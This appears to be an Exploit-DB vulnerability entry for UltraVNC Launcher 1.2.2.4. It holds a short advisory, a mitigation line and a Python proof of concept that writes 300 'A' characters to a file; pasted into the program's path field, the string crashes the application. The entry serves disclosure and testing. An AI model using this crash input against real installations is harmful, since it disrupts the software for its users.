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vendor:
UltraVNC
by:
Victor Mondragón
7.8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: UltraVNC
Affected Version From: 1.2.2.4
Affected Version To: 1.2.2.4
Patch Exists: No
Related CWE: N/A
CPE: a:uvnc:ultravnc:1.2.2.4
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 7 x64 Service Pack 1
2019

UltraVNC Launcher 1.2.2.4 – Denial of Service (PoC)

UltraVNC Launcher 1.2.2.4 is vulnerable to a denial of service attack when a maliciously crafted string is pasted into the 'Path vncviewer.exe' field. This causes the application to crash when the 'OK' button is clicked.

Mitigation:

Ensure that user input is properly validated and sanitized before being used in the application.
Source

Exploit-DB raw data:

#Exploit Title: UltraVNC Launcher 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-14
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: UltraVNC_Launcher_1.2.2.4.py
#2.- Open UltraLauncher.txt and copy content to clipboard
#3.- Open UltraVNC Launcher
#4.- Select "Properties"
#5.- In "Path vncviewer.exe" Paste Clipboard
#6.- Click on "OK"
#7.- Crashed

cod = "\x41" * 300

f = open('UltraLauncher.txt', 'w')
f.write(cod)
f.close()

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